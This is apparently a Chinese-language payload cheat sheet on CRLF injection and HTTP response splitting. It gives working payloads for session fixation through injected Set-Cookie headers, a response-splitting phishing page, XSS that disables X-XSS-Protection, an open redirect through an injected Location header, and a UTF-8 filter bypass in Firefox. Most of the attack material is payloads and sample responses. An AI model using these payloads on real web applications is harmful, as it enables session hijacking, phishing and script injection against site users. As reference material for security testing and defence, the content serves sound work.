跳转至

CRLF 注入 (Carriage Return Line Feed Injection)

CRLF 注入是一种 Web 安全漏洞。当攻击者将意外的回车符 (CR) (\r) 和换行符 (LF) (\n) 注入应用程序时,就会产生此漏洞。在 HTTP、SMTP 等网络协议中,这些字符用于表示一行的结束和新一行的开始。在 HTTP 协议中,CR-LF 序列由于始终被用于终止一行。

摘要 (Summary)

方法论 (Methodology)

HTTP 响应拆分 (HTTP Response Splitting) 是一种安全漏洞,攻击者通过在响应标头中注入回车符 (CR) 和换行符 (LF)(统称为 CRLF)来操纵 HTTP 响应。这些字符标志着 HTTP 响应中标头的结束和新一行的开始。

CRLF 字符:

  • CR (\r, ASCII 13): 将光标移至行首。
  • LF (\n, ASCII 10): 将光标移至下一行。

通过注入 CRLF 序列,攻击者可以将响应拆分为两部分,从而有效地控制 HTTP 响应的结构。这可能导致各种安全问题,例如:

  • 跨站脚本 (XSS):在第二个响应中注入恶意脚本。
  • 缓存投毒:强制将错误的内容存储在缓存中。
  • 标头操纵:更改标头以误导用户或系统。

会话固定 (Session Fixation)

一个典型的 HTTP 响应标头如下所示:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=abc123

如果用户输入 value\r\nSet-Cookie: admin=true 在未经过滤的情况下嵌入到标头中:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=value
Set-Cookie: admin=true

现在攻击者已经设置了他们自己的 Cookie。

跨站脚本 (Cross Site Scripting)

除了需要以非常不安全的方式处理用户会话的会话固定之外,利用 CRLF 注入最简单的方法是为页面编写一个新的主体 (body)。这可以用于创建网络钓鱼页面,或者触发任意 Javascript 代码 (XSS)。

请求的页面:

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E

HTTP 响应:

Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>

在 XSS 的情况下,CRLF 注入允许注入值为 "0" 的 X-XSS-Protection 标头,以禁用它。然后我们可以添加包含 Javascript 开发代码的 HTML 标签。

请求的页面:

http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

HTTP 响应:

HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: https://example.com/[注入从这里开始]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0

开放重定向 (Open Redirect)

注入 Location 标头强制用户进行重定向。

%0d%0aLocation:%20http://myweb.com

过滤器绕过 (Filter Bypass)

RFC 7230 规定,大多数 HTTP 标头字段值仅使用 US-ASCII 字符集的子集。

新定义的标头字段应当将其字段值限制在 US-ASCII 字节内。

Firefox 遵循了该规范,在设置 Cookie 时会剔除任何超出范围的字符,而不是对它们进行编码。

UTF-8 字符 十六进制 (Hex) Unicode 剔除后 (Stripped)
%E5%98%8A \u560a %0A (\n)
%E5%98%8D \u560d %0D (\r)
%E5%98%BE \u563e %3E (>)
%E5%98%BC \u563c %3C (<)

UTF-8 字符 的十六进制格式最后一部分包含 0a,它会被 Firefox 转换为 \n

使用 UTF-8 字符的一个示例 Payload 如下:

嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()

URL 编码版本:

%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE

实验环境 (Labs)

参考资料 (References)